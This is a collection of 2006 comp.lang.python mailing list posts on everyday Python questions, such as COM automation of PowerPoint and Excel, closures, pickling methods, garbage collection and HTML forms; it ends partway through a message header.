Wesley, * wesley chun wrote: >> just a small OT question coming from a linux openoffice >> system... >> >> Does there exist something similar for powerpoint? Would be >> nice, if anybody can direct me to more examples... > > > fabian, > > see below for a PP example. you mentioned you were coming from a > linux OOo system... are you trying to do COM stuff with OOo? i'm not > familiar with it, but since they do support > some level of VB-like scripting, i don't believe it's out of the question. > > one thing that i did forget to mention in my earlier message is that i > use static dispatch for these apps. if you did not go and run the > makepy utility, you would have to use dynamic dispatch, start your > apps with win32com.client.Dispatch(), or, using the same import > statement as below, win32.Dispatch(). > > anyway, here is pretty much the same script as i sent earlier but for > PowerPoint instead of Excel (the book has small examples for each of > Excel, Word, PowerPoint, and Outlook): > > # based on ppoint.pyw in Core Python Programming, 2nd ed > > from time import sleep > import win32com.client as win32 > > def ppoint(): > ppoint = win32.gencache.EnsureDispatch('PowerPoint.Application') > pres = ppoint.Presentations.Add() > ppoint.Visible = True > > s1 = pres.Slides.Add(1, win32.constants.ppLayoutText) > sleep(1) > s1a = s1.Shapes[0].TextFrame.TextRange > s1a.Text = 'Python-to-PowerPoint Demo' > sleep(1) > s1b = s1.Shapes[1].TextFrame.TextRange > for i in range(3, 8): > s1b.InsertAfter("Line %d\r\n" % i) > sleep(1) > s1b.InsertAfter("\r\nTh-th-th-that's all folks!") > > sleep(5) > pres.Close() > ppoint.Quit() > > if __name__=='__main__': > ppoint() Thanks! I am not able to try it out yet, but as soon as I get access to my windows machine, I'll give it a try. Greetings! Fabian From fredrik at pythonware.com Sat Oct 28 04:54:11 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 28 Oct 2006 10:54:11 +0200 Subject: Need help (Basic python)...what did I do wrong? In-Reply-To: <1162024619.913197.302700@m73g2000cwd.googlegroups.com> References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com> Message-ID: frankie_85 wrote: > a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3))) > TypeError: 'int' object is not callable hint: in most programming languages, you have to use an explicit operator to spell out multiplication. Python's no exception. From no-spam at no-spam-no-spam.com Mon Oct 2 06:36:11 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Mon, 02 Oct 2006 12:36:11 +0200 Subject: Python threads and Numeric/SciPy exploit Dual Core ? Message-ID: Simple Python code obviously cannot use the dual core by Python threads. Yet, a program drawing CPU mainly for matrix computations - preferably with Numeric/SciPy - will this profit from a dual core when using 2 (or more) Python threads? robert From larry at hastings.org Tue Oct 3 13:18:59 2006 From: larry at hastings.org (Larry Hastings) Date: 3 Oct 2006 10:18:59 -0700 Subject: PATCH: Speed up direct string concatenation by 20+%! References: <1159540482.924744.164420@k70g2000cwa.googlegroups.com> <1159545255.339364.299020@k70g2000cwa.googlegroups.com> <1159546522.251704.301530@b28g2000cwb.googlegroups.com> <1159552048.354214.198180@e3g2000cwe.googlegroups.com> <1159762765.943691.139690@b28g2000cwb.googlegroups.com> <1159774531.004015.7390@e3g2000cwe.googlegroups.com> <1159853705.946422.70220@b28g2000cwb.googlegroups.com> <1159855375.951848.195790@m73g2000cwd.googlegroups.com> <1159888289.071764.274400@e3g2000cwe.googlegroups.com> <1159894194.296766.181670@m73g2000cwd.googlegroups.com> Message-ID: <1159895939.769126.146630@i42g2000cwa.googlegroups.com> Istvan Albert wrote: > I remember a similar patch from some time ago: > > http://mail.python.org/pipermail/python-dev/2004-August/046686.html That patch addressed the same general problem, but took a completely different approach. For the record, this patch (#980695) optimized "x += a" by examining the next instruction after the addition. If it's a store instruction, and the object being stored to holds a reference to the left side of the concatenation, it makes the object drop the reference *before* doing the concatenation. In the case where there was only one reference to the string on the left side (that being "x"), this allows the string concatenation function to use a very fast shortcut: resize the left side and concatenate the right side directly to the end. The patch was accepted in August of 2004, so it might have been folded in to CPython during the 2.3 era; certainly it was part of CPython 2.4. And, happily, that optimization is complimentary to mine. In my patch, when the left side only has one reference and it's a "string concatenation object", it will often have space left in its internal array of strings objects. In that case I just append the string. Speeds things up immensely. Cheers, /larry/ From johnjsal at NOSPAMgmail.com Thu Oct 19 10:26:10 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 19 Oct 2006 14:26:10 GMT Subject: Classes and Functions - General Questions In-Reply-To: References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com> Message-ID: <6WLZg.114$1n3.3048@news.tufts.edu> John Salerno wrote: > Setash wrote: > >> And have class2 inherit class1 without any import statements, or need >> it be imported first? >> Or need class1 and class2 be both declared in the same .py file if >> there is inheritance? > > If the classes are in the same module, you don't need to do any > importing or qualification. If they are in separate modules, you need to > import the necessary module(s) and then you can use its contents. Quick clarification: even if you import a module, you still need to qualify a call to its attributes: ---- import sys print sys.version #not 'print version' ---- But you can use the 'from import ' format to avoid this: ---- from sys import version print version ---- But this is very bad to do. The recommendation that I like is to only use from/import when you want a module from a package, not when you want classes, methods, etc. from a module. From simon at brunningonline.net Mon Oct 2 11:22:30 2006 From: simon at brunningonline.net (Simon Brunning) Date: Mon, 2 Oct 2006 16:22:30 +0100 Subject: How to coerce a list of vars into a new type? In-Reply-To: References: Message-ID: <8c7f10c60610020822n2b62ce97m52c6f08c66adb89f@mail.gmail.com> On 10/2/06, Matthew Wilson wrote: > > I want to verify that three parameters can all be converted into > integers, but I don't want to modify the parameters themselves. > > This seems to work: > > def f(a, b, c): > > a, b, c = [int(x) for x in (a, b, c)] > > Originally, I had a bunch of assert isinstance(a, int) statements at the > top of my code, but I decided that I would rather just check if the > parameters can be converted into integers. > > The new a, b, and c are all different objects, with different id values. > Anyhow, this all seems like black magic to me. Can anyone explain what > is going on? You've re-bound the names "a", "b" and "c" to new objects, so naturally they have different ids. If you leave out the "a, b, c =" bit, you'll leave the original names bound to the objects that have been passed into your function as arguments. > Is it as simple as call-by-value? The "call-by-whatever" concepts don't really apply to Python very well - any attempt to do so seems to result in more confusion than anything else. I'd recommend you take a look at . it explains everything far better than I could. -- Cheers, Simon B, simon at brunningonline.net From nomail at nixmail.com Sat Oct 7 10:29:16 2006 From: nomail at nixmail.com (DarkBlue) Date: Sat, 07 Oct 2006 22:29:16 +0800 Subject: Kde Taskbar References: <4527a4ae@127.0.0.1> <9e952$4527b80c$54d1d767$27208@news.chello.no> Message-ID: <4527b9bc@127.0.0.1> David Boddie wrote: > On Saturday 07 October 2006 14:59, DarkBlue wrote: > >> In linux I use kmail as my email client under KDE, >> if a message comes in the Kontact button in the >> taskbar changes to blue. >> How can I have the same behaviour in a python app ? > > You need to activate the window associated with the application. > >> I have a python script which runs nicely under linux >> now every so often I want to be notified by some event, >> in this case that a record has been added to a database >> and I want to have the application button in the taskbar >> to change color > > If the script is running in a console, you'll need to activate > the window containing the console. I tried doing this by accessing > konsole's DCOP interface, but couldn't find a suitable method to > call. If you know which konsole your script is running in, you might > find that you can raise the window with > > dcop konsole- konsole-mainwindow#1 raise > > where is the process ID of the konsole. This might have the > effect of causing its taskbar button to change color. You can find > information about the konsole from the KONSOLE_* environment > variables. > > It would be good if konsole had a DCOP method that enabled you to > activate its window, or if kicker exported an interface for the > taskbar, or even if kwin had some way of letting you activate a > window given its ID. Unfortunately, I couldn't find methods for > any of these, so you would have to think about using PyKDE to get > at this functionality. > > It would be good if someone could prove me wrong on any of this. ;-) > > David My python app actually is a pythoncard app which I hope will make things easier. Db From Luwian at gmail.com Mon Oct 23 19:14:49 2006 From: Luwian at gmail.com (Lucas) Date: 23 Oct 2006 16:14:49 -0700 Subject: How to get each pixel value from a picture file! In-Reply-To: References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com> <1161643563.111993.109480@b28g2000cwb.googlegroups.com> Message-ID: <1161645289.453600.107140@h48g2000cwc.googlegroups.com> :) 1)I just copy the tutorial to run "print pix[44,55]". I really dont know why they wrote that?! 2) i think putpixel((44, 55), (0, 0, 0)) and putpixel((44,55),0) is same. thank you again. I think I have solved my problem. Steve Holden wrote: > Lucas wrote: > > Thank you for your answer. > > > > I have some new questions: > > > > 1) the value of return from getpixel() is a RGB number? > > print im.getpixel((44,55)) ----> (160,160,160) > > > Yes, that's an RGB tuple. > > > 2) I want to put a number into the picture for encryption(replace least > > significant bit (LSB) of image intensity with message bit). > > > > If i use putpixel((44,55),0) , the number 0 will be changed RGB > > value or others.? > > > I think you'd need to use > > putpixel((44, 55), (0, 0, 0)) > > but it's easy enough to try out interactively ... > > > 3) pix = im.load() > > print pix[44,55] > > pix[44, 55] = value > > my python cannt identify "[x,y]" ?? > > > > Now what makes you think that an image can be addressed that way? I'd be > quite surprised if yo got anything other than a TypeError doing that. > > regards > Steve > -- > Steve Holden +44 150 684 7255 +1 800 494 3119 > Holden Web LLC/Ltd http://www.holdenweb.com > Skype: holdenweb http://holdenweb.blogspot.com > Recent Ramblings http://del.icio.us/steve.holden From horpner at yahoo.com Sat Oct 7 07:25:59 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Sat, 07 Oct 2006 11:25:59 GMT Subject: Names changed to protect the guilty References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> <1160187962.696186.30450@h48g2000cwc.googlegroups.com> Message-ID: On 2006-10-07, MonkeeSage wrote: > > On Oct 6, 8:34 pm, Neil Cerutti wrote: >> And in the original case, I'd agree that "if X.has_key():" is >> quite clear, already yielding a boolian value, and so doesn't >> need to be tested for if it's False. But I wouldn't like to >> test for an empty list or for None implicitly. > > I agree that predicates are explicit in themselves, if they are > named intuitively like "has_key". I assumed that the OP was > upset about "is False" not that an explicit check was done on a > predicate method. And that's something that I'd never have written, and wouldn't have recognized as a bug until this thread. I can hear the gears clicking in there now. Thanks to you and other that explained this bug properly. -- Neil Cerutti From john106henry at hotmail.com Wed Oct 4 15:53:32 2006 From: john106henry at hotmail.com (John Henry) Date: 4 Oct 2006 12:53:32 -0700 Subject: Find out the name of a variable passed as an argument In-Reply-To: References: Message-ID: <1159991612.249497.91160@b28g2000cwb.googlegroups.com> Algol, anyone? Andreas Huesgen wrote: > Hello everybody, > > is there a way to receive the name of an object passed to a function > from within the function. > > something like > > def foo(param): > print theNameOfTheVariablePassedToParam > > var1 = "hello" > var2 = "world" > > >>> foo(var1) > var1 > > >>> foo(var2) > var2 > > thanks in advance, > > greets > > Andreas Huesgen From onurb at xiludom.gro Fri Oct 13 04:43:14 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Fri, 13 Oct 2006 10:43:14 +0200 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> <1160562945.079609.98640@m7g2000cwm.googlegroups.com> Message-ID: <452f51a3$0$30999$426a74cc@news.free.fr> Fredrik Lundh wrote: > Paul Boddie wrote: > >> Meanwhile, the Web programming standardisation scene remains >> stagnant. > > Aw, come on. The Python web programming standardisation wars are over, for now. > There's Django, and there's TurboGears, And there's Pylons... > and there's Zope 2/3, all with slightly different > approaches, and slightly different target audiences. Unless you're doing really odd things, > one of these will be more than good enough for your application. > > (as for WSGI, it's plumbing. You can of course build fun things from spare parts and > plumbing, and there are really interesting things going on in certain research labs, as usual, > but if you want turn-key stuff, pick one of the big three.) > > > > > -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From jcoleman at franciscan.edu Wed Oct 18 14:21:14 2006 From: jcoleman at franciscan.edu (John Coleman) Date: 18 Oct 2006 11:21:14 -0700 Subject: Win32 python and excel macros In-Reply-To: <1161187565.132670.60320@f16g2000cwb.googlegroups.com> References: <1161180798.760994.111230@k70g2000cwa.googlegroups.com> <1161186121.020753.20810@b28g2000cwb.googlegroups.com> <1161187257.657252.87000@m73g2000cwd.googlegroups.com> <1161187565.132670.60320@f16g2000cwb.googlegroups.com> Message-ID: <1161195674.458049.319440@m73g2000cwd.googlegroups.com> Mike P wrote: > After just running trying that update it hits the macro perfectly but > hten i get an error message after i type in a couple of values.. as per > below > > Traceback (most recent call last): > File "", line 148, in ? > File ">", line 14, in Run > File "C:\Python24\Lib\site-packages\win32com\client\dynamic.py", line > 258, in _ApplyTypes_ > result = self._oleobj_.InvokeTypes(*(dispid, LCID, wFlags, retType, > argTypes) + args) > pywintypes.com_error: (-2147352567, 'Exception occurred.', (0, None, > None, None, 0, -2146827284), None) > > > I know you said you didn't know much about python, so if any other > experts outthere can give me a clue.. i'll be very appreciative > > Mike Mike, Maybe you can use a little error handling in the VBA code to see if the error is in the VBA or in the Python (or both) At the top of the sub that you call put the line On Error GoTo err_handler and at the bottom of the sub (right before the end sub) put: err_handler: If Err.Number > 0 Then MsgBox "Error " & Err.Number & ": " & Err.Description End If This will also give you some idea of what the error is from VBA's perspective (although the error descriptions are not always very informative). HTH -John Coleman From jstroud at mbi.ucla.edu Sat Oct 28 22:12:58 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Sun, 29 Oct 2006 02:12:58 GMT Subject: Name bindings for inner functions. In-Reply-To: <4543ddbe$0$3210$4fafbaef@reader2.news.tin.it> References: <1162072141.571008.296670@h48g2000cwc.googlegroups.com> <4543ddbe$0$3210$4fafbaef@reader2.news.tin.it> Message-ID: Andrea Griffini wrote: > trevor_morgan at yahoo.com wrote: > >> The following code: >> >> def functions(): >> l=list() >> for i in range(5): >> def inner(): >> return i >> l.append(inner) >> return l >> >> >> print [f() for f in functions()] >> >> >> returns [4,4,4,4,4], rather than the hoped for [0,1,2,3,4]. I presume >> this is something to do with the variable i getting re-bound every time >> we go through the loop, or something, but I'm not sure how to fix this. > > > The problem is that "i" inside the function is indeed > the same variable for all the functions (the one you're > using for looping). > > If you want a different variable for each function > you can use the somewhat ugly but idiomatic > > def functions(): > l=list() > for i in range(5): > def inner(i=i): > return i > l.append(inner) > return l > > this way every function will have its own "i" variable, > that is initialized with the value of the loop variable > when executing the "def" statement. > > Andrea Yet another way to skin the same cat, maybe even less ugly, depending on taste. def make_inner(i): def inner(): return i return inner def functions(): return [make_inner(i) for i in range(5)] print [f() for f in functions()] James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From rtw at freenet.co.uk Tue Oct 3 07:06:05 2006 From: rtw at freenet.co.uk (Rob Williscroft) Date: Tue, 03 Oct 2006 06:06:05 -0500 Subject: Raw strings and escaping References: Message-ID: Matthew Warren wrote in news:mailman.1152.1159872720.10491.python- list at python.org in comp.lang.python: > I would expect this to work, > > rawstring=r'some things\new things\some other things\' It in the docs: ... Specifically, a raw string cannot end in a single backslash (since the backslash would escape the following quote character). Note also that a single backslash followed by a newline is interpreted as those two characters as part of the string, not as a line continuation. Rob. From orsenthil at gmail.com Thu Oct 12 13:52:13 2006 From: orsenthil at gmail.com (Phoe6) Date: 12 Oct 2006 10:52:13 -0700 Subject: strings in the global section In-Reply-To: <4p7dbsFh384nU1@individual.net> References: <1160675040.806545.7620@i3g2000cwc.googlegroups.com> <4p7dbsFh384nU1@individual.net> Message-ID: <1160675533.899350.281040@i42g2000cwa.googlegroups.com> Bjoern Schliessmann wrote: > If you assign "astring" inside the function body, it's a local name. > > > - What should I do to overwrite the string variable in the global > > section within functions? > > Put a "global astring" in the function to access the global name > instead. #!/usr/bin/python global astring astring = "This is a String" def fun1(): global astring astring = "I modify it in fun1" def fun2(): global astring astring = "I modify it in fun2" def main(): print astring fun1() print astring fun2() print astring if __name__ == '__main__': main() ~ ~ Works, but something different ? From baur79 at gmail.com Thu Oct 26 02:57:02 2006 From: baur79 at gmail.com (baur79 at gmail.com) Date: 25 Oct 2006 23:57:02 -0700 Subject: python html 2 image (png) In-Reply-To: <4q9l3cFm97ffU1@uni-berlin.de> References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com> <1161778587.501281.92320@h48g2000cwc.googlegroups.com> <4q9l3cFm97ffU1@uni-berlin.de> Message-ID: <1161845822.338404.197410@f16g2000cwb.googlegroups.com> thanks Diez i will start with your suggestions let see what happen On Oct 25, 11:27 pm, "Diez B. Roggisch" wrote: > bau... at gmail.com schrieb: > > >> what tools are you using to do that today? > > > where are many of EXE programs > > but i need python solution for adding it to my automate program under > > lunixWhatever lunix is, under linux, a popular free OS you could e.g. use > PyKDE and let Qt render a KHTML-component into an image. > > Diez From steve at holdenweb.com Tue Oct 24 20:02:53 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 25 Oct 2006 01:02:53 +0100 Subject: [0T] Re: Simple python + html + from --> to python script In-Reply-To: <453e9176$0$8665$426a34cc@news.free.fr> References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com> <453e9176$0$8665$426a34cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > flit a ?crit : > >>Hello All, >> >>I am trying to get information from a form and send it to a python >>script without success.. >>Here is my objective: >> >>User enters data in form --> form send variables to python script --> >>script runs and output result. > > > > If the script has side-effects (adding/updating/deleting database > records, writing files, etc), the script should not "output results", > but redirect to another url where the user can see these results. > > Else - if the script doesn't have side-effects (ie :a search form, ...), > then the HTTP method should be "GET", not "POST". > > >>the form code >> >>
Entre com >>os dados
>> >>Entre com os dados
>>Vai magraum
> > > > button elements don't submit the form - they in fact don't do anything > unless you attach behaviour to them with javascript. What you want here > is an input type='submit'. > > Also, the "button" tag doesn't require a end tag. > >
> >
> > >
> Vai magraum >
>
> > (cf Steve's answer and the cgi module's doc for your problem) So what problem were you talking about? regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From chtaylo3 at gmail.com Tue Oct 24 14:22:22 2006 From: chtaylo3 at gmail.com (Christopher Taylor) Date: Tue, 24 Oct 2006 14:22:22 -0400 Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64 In-Reply-To: <453e56f2$0$30357$9b622d9e@news.freenet.de> References: <45386B4C.4020001@v.loewis.de> <453d4821$0$22566$9b622d9e@news.freenet.de> <453DA645.2090009@v.loewis.de> <453E4C49.4000401@v.loewis.de> <453e56f2$0$30357$9b622d9e@news.freenet.de> Message-ID: <2590773a0610241122n59e6e309xa2cba256c9fede18@mail.gmail.com> > Ok. One solution might be to remove the libdir option, then. Python > attempts to be "movable", i.e. the libraries are found relative to > the executable (via dirname(sys.executable)+"../lib/..."). If > libdir is supported, this approach must be given up - or libdir must > be given up. Well, honestly, seeings how LIBDIR doesn't do anything ... I can see the argument for removing it. However, I would like to propose a more flexible solution: Perhaps a ./configure parameter called LIBLOC or something like that so that LIBDIR = $(EXEC_PREFIX)/$(LIBLOC). Of course, LIBLOC should default to "lib". This way the flexibility you mentioned above can be maintained and the 64bit community (which will eventually be the entire community) can move forward with minimal hassle. > The Linux distributions already provide Python binaries (I believe > Redhat does, too). You could study what they do to achieve that. Yes, this is true ... but they do not package the most up-to-date version .. which I need. Respectfully, Christopher Taylor From tim.peters at gmail.com Sun Oct 1 16:37:40 2006 From: tim.peters at gmail.com (Tim Peters) Date: Sun, 1 Oct 2006 16:37:40 -0400 Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> Message-ID: <1f7befae0610011337t9283a19i5f50d7da32f5c57b@mail.gmail.com> [charlie strauss] > Steve, digging into the gc docs a bit more, I think the behaviour I am seeing is still > not expected. Namely, the program I offered has no obvious place where objects > are deallocated. The way GC is supposed to work is thate there are three levels of > objects > > level0: newly created objects > level1: objects that survived 1 round of garbage collection > level2: objects that survivied 2+ rounds of gargbage collection Yes. > Since all of my numerous objects are level2 objects, No. All newly created objects start in level0. Over time, most (but never all) of your objects end up in level 2. > and none of them are every deallocated, then I should never trip the GC for these. Cyclic gc scans /all/ container objects at or under level N, whenever cyclic gc runs. N varies from run to run of cyclic gc, according to the scheme described in the docs for the gc.set_threshold() function. N=2 is certainly a possible value. There is never a time when a live container object becomes exempt from all future runs of cyclic gc. If a live container object survives two rounds of cyclic gc, it ends up lin level2. That doesn't mean it's never looked at again, it just means it's not looked at during level0 or level1 (N=0 or N=1) runs of cyclic gc. It will still be looked at during all level2 (N=2) runs of cyclic gc. > Your explanation would require this to be tripped so I can't explain it. For your > explanation to be correct then there as to be some non-obvious step in the program > that is deallocating level2 items in sufficient numbers to trip the GC. Deallocations never trigger cyclic gc. As the docs say, cyclic gc is triggered by an /excess/ of allocations /over/ deallocations. So, e.g., if you delete container objects just as fast as you create them, cyclic gc will never run. But that's not what you're doing. Instead you're allocating new objects but never deallocating them. That makes cyclic gc run as frequently as it's possible for it to run. From sjmachin at lexicon.net Wed Oct 4 04:42:30 2006 From: sjmachin at lexicon.net (John Machin) Date: 4 Oct 2006 01:42:30 -0700 Subject: can't open chm files all of a sudden In-Reply-To: <45233a81$0$30748$c3e8da3@news.astraweb.com> References: <45233927$0$1761$c3e8da3@news.astraweb.com> <45233a81$0$30748$c3e8da3@news.astraweb.com> Message-ID: <1159951350.208619.222470@m73g2000cwd.googlegroups.com> John Salerno wrote: > John Salerno wrote: > > Hi all. I apologize since this is only remotely Python related, but I > > hope someone might now the solution. > > > > I tried opening my Python chm docs just now, as well as the one for > > wxPython, and both are giving me an error dialog when I double-click > > them and I can't open them. This happened apparently for no reason, just > > today. I even reset but that didn't help. > > > > Does anyone know what might cause this, Many things might cause an error dialogue -- further info needed. >> and if it could affect the rest > > of Python or wxPython as well? It could. Depends on what "it" is. Have you noticed any symptoms of other problems? > P.S. Here is part of the error, but not the long detailed section: > > AppName: hh.exe AppVer: 5.2.3790.2453 ModName: itss.dll > ModVer: 5.2.3790.2453 Offset: 00006bec > > The same thing shows up for both files. 1. This is like telling us only the last source file name and line number in a Python traceback -- not very useful, especially w/o the source. Care to tell us what the text of the error message was? 2. Are these events resulting in a dump in your Dr Watson file (C:\Documents and Settings\All Users\Application Data\Microsoft\Dr Watson\drwtsn32.log)? Each dump starts with something like this: """ Application exception occurred: App: C:\Program Files\Hewlett-Packard\HP OfficeJet T Series\Bin\HPOstr05.exe (pid=2172) When: 2/09/2006 @ 05:35:58.515 Exception number: c0000005 (access violation) """ ... search for hh.exe 3. Have you been installing other software since this last worked? Fiddling with your path? 4. Have you done a full virus and spy-ware scan? Do you regularly install Windows updates from Microsoft? 5. C:\windows\help has many .chm files -- pick a couple at random; do you get the same problem with them? 6. Fire up a Comamnd Prompt window, and type this in: \windows\hh \python25\doc\python25.chm \windows\hh \windows\help\whatever.chm Any difference to the results from double-click launch method? ... I suspect that this is a narrowly focussed problem, probably a stuffed DLL or a DLL conflict. I tried profiling hh.exe opening c:\python25\doc\python25.chm with the dependency walker, and it visited a kazillion DLLs before it got to itss.dll and another kazillion after that till it stopped awaiting user input. If we don't get a clue from your answers to the above questions, it would probably be worth doing that on your machine. You could even do it yourself: google "dependency walker" and follow your nose :-) HTH, John From rijamoria at gmail.com Thu Oct 12 09:31:19 2006 From: rijamoria at gmail.com (Gasikara) Date: 12 Oct 2006 06:31:19 -0700 Subject: How to be a good programmers? In-Reply-To: <1160617780.299662.110480@i3g2000cwc.googlegroups.com> References: <1160588630.961337.213260@m7g2000cwm.googlegroups.com> <1160617780.299662.110480@i3g2000cwc.googlegroups.com> Message-ID: <1160659879.039277.33500@m73g2000cwd.googlegroups.com> Eric_Dexter at msn.com wrote: > rijamoria at gmail.com wrote: > > I just started to learn python programming because I need to be in the > > group when google come in Madagascar, So I want to know, what kind of > > python programming I have to start to learn? Zope?...? > > Sorry for My english! You can writ me on rijamoria at gmail.com. > > thanks! > > Let me know and I can get you some expierence using some of pythons > functions that you can build your resume with. My goal is to be > featured in csound journal or at least www.csounds.com > > https://sourceforge.net/project/showfiles.php?group_id=156455 > http://www.dexrow.com > > "He is either a satinist or some kind of programmer with that snake > book" quote (C) 2006 OKAY, I will look this From steven.bethard at gmail.com Fri Oct 20 22:45:57 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Fri, 20 Oct 2006 20:45:57 -0600 Subject: Why can't you pickle instancemethods? In-Reply-To: <1161380004.714778.152080@m7g2000cwm.googlegroups.com> References: <1161380004.714778.152080@m7g2000cwm.googlegroups.com> Message-ID: <453989E5.9070504@gmail.com> Chris wrote: > Why can pickle serialize references to functions, but not methods? Here's the recipe I use:: def _pickle_method(method): func_name = method.im_func.__name__ obj = method.im_self cls = method.im_class return _unpickle_method, (func_name, obj, cls) def _unpickle_method(func_name, obj, cls): for cls in cls.mro(): try: func = cls.__dict__[func_name] except KeyError: pass else: break return func.__get__(obj, cls) import copy_reg import types copy_reg.pickle(types.MethodType, _pickle_method, _unpickle_method) There may be some special cases where this fails, but I haven't run into them yet. STeVe From alistair.king at helsinki.fi Mon Oct 30 08:07:25 2006 From: alistair.king at helsinki.fi (Alistair King) Date: Mon, 30 Oct 2006 15:07:25 +0200 Subject: dict problem In-Reply-To: References: <1161772147.307847.65630@h48g2000cwc.googlegroups.com> <87y7r4mwso.fsf@benfinney.id.au> <453F5401.3020607@helsinki.fi> <87pscgmrp1.fsf@benfinney.id.au> <4545D637.6000205@helsinki.fi> Message-ID: <4545F90D.3050202@helsinki.fi> Peter Otten wrote: > Alistair King wrote: > > >> the code works great now. I know these things are quite simple to learn >> from books etc.. but i would be lost without this mailinglist, from lack >> of time. Hopefully soon i can give something more complicated. >> I ended up doing the dictionary formatting properly and the new code is: >> > > >> heavy = raw_input("\n\n@@@@@@@@@@@@@@@@@@\n\nPlease enter the heaviest >> atom for which you obtained percentage values for, but not Oxygen or >> Hydrogen, ie, 'C', 'N', 'S', 'Br'...: ") >> >> def updateDS1v(Fxas, x): >> if Fxas !=0 and DS1v.get(x)!=None: >> value = DSvalues.get(heavy) >> floatvalue = float(value) >> atoms = DS1v.get(x) + Fxas*floatvalue >> else: >> value = DSvalues.get(heavy) >> floatvalue = float(value) >> DS1v[x] = Fxas*floatvalue >> >> updateDS1v(FCas, 'C') >> updateDS1v(FHas, 'H') >> updateDS1v(FOas, 'O') >> updateDS1v(FNas, 'N') >> updateDS1v(FSas, 'S') >> updateDS1v(FClas, 'Cl') >> updateDS1v(FBras, 'Br') >> updateDS1v(FZnas, 'Zn') >> > > >> it works perfectly now >> > > Probably not. Have you manually verified the result with more than one > example? Where does 'heavy' come from? Is that black hole 'atoms' > intentional? > > # I'm just guessing here > for k, v in DSvalues.iteritems(): > DSvalues[k] = float(v) > > def updateDS1v(Fxas, x): > DS1v[x] = DS1v.get(x, 0) + Fxas*DSvalues[x] > > Peter > yea...sorry i snipped one line by accident for the email should be: def updateDS1v(Fxas, x): if Fxas !=0 and DS1v.get(x)!=None: value = DSvalues.get(heavy) floatvalue = float(value) atoms = DS1v.get(x) + Fxas*floatvalue DS1v[x] = atoms else: value = DSvalues.get(heavy) floatvalue = float(value) DS1v[x] = Fxas*floatvalue thanks a -- Dr. Alistair King Research Chemist, Laboratory of Organic Chemistry, Department of Chemistry, Faculty of Science P.O. Box 55 (A.I. Virtasen aukio 1) FIN-00014 University of Helsinki Tel. +358 9 191 50392, Mobile +358 (0)50 5279446 Fax +358 9 191 50366 From gerrit at nl.linux.org Mon Oct 9 08:52:46 2006 From: gerrit at nl.linux.org (Gerrit Holl) Date: Mon, 9 Oct 2006 14:52:46 +0200 Subject: file system iteration In-Reply-To: References: Message-ID: <20061009125246.GA16152@topjaklont.student.utwente.nl> On 2006-10-09 14:45:35 +0200, rick wrote: > import os.path > > paths = [] > > if os.path.isdir('A:/'): > paths.append('A:/') > > if os.path.isdir('B:/'): > paths.append('B:/') > > ... > > That's a kludge, but it works OK. I'm sure WMI may have a function that > returns mounted volumes, but under the circumstances currently, I can > only use the standard Python library. Any ideas on how to do this better? The very least you can try: import string string.ascii_uppercase for c in string.ascii_uppercase: if os.path.isdir('%s:/' % c): ... etc. But I suppose there should be a better way. Gerrit. From irmen.NOSPAM at xs4all.nl Wed Oct 4 13:49:59 2006 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Wed, 04 Oct 2006 19:49:59 +0200 Subject: How to ask sax for the file encoding In-Reply-To: References: <4oi0f3FehgnuU1@uni-berlin.de> <4oi4meFep2seU1@uni-berlin.de> Message-ID: <4523f44d$0$4528$e4fe514c@news.xs4all.nl> Edward K. Ream wrote: > What suits me best is what the *user* specified, and that got put in the > first xml line. > I'm going to have to parse this line myself. Please consider adding some elements to the document itself that describe the desired output format, such as: ... utf-8 ... This allows the client to specify the encoding it wants to receive the document in, even if it's different than the encoding it used to make the first document. More flexibility. Less fooling around. --Irmen From rdelsalle at gmail.com Fri Oct 13 09:50:55 2006 From: rdelsalle at gmail.com (di0rz`) Date: 13 Oct 2006 06:50:55 -0700 Subject: edit a torrent file with python Message-ID: <1160747455.818572.293490@m7g2000cwm.googlegroups.com> hi, I am looking for a python script to edit .torrent files if anybody know one thx From fakeaddress at nowhere.org Tue Oct 24 01:40:59 2006 From: fakeaddress at nowhere.org (Bryan Olson) Date: Tue, 24 Oct 2006 05:40:59 GMT Subject: multythreading app memory consumption In-Reply-To: References: Message-ID: Dennis Lee Bieber wrote: > How much stack space gets allocated for 150 threads? In Python 2.5, each thread will be allocated thread.stack_size() bytes of stack address space. Note that address space is not physical memory, nor even virtual memory. On modern operating systems, the memory gets allocated as needed, and 150 threads is not be a problem. -- --Bryan From heller at deepsoft.com Tue Oct 17 23:09:21 2006 From: heller at deepsoft.com (Robert Heller) Date: Wed, 18 Oct 2006 05:09:21 +0200 Subject: Python wrapper for C++ core In-Reply-To: <1161130743.245002.67410@k70g2000cwa.googlegroups.com> References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com>, <711c2$453570a2$404a99a1$22922@news.news-service.com>, <1161130743.245002.67410@k70g2000cwa.googlegroups.com> Message-ID: <8c21f$45359ae1$404a99a1$4588@news.news-service.com> At 17 Oct 2006 17:19:03 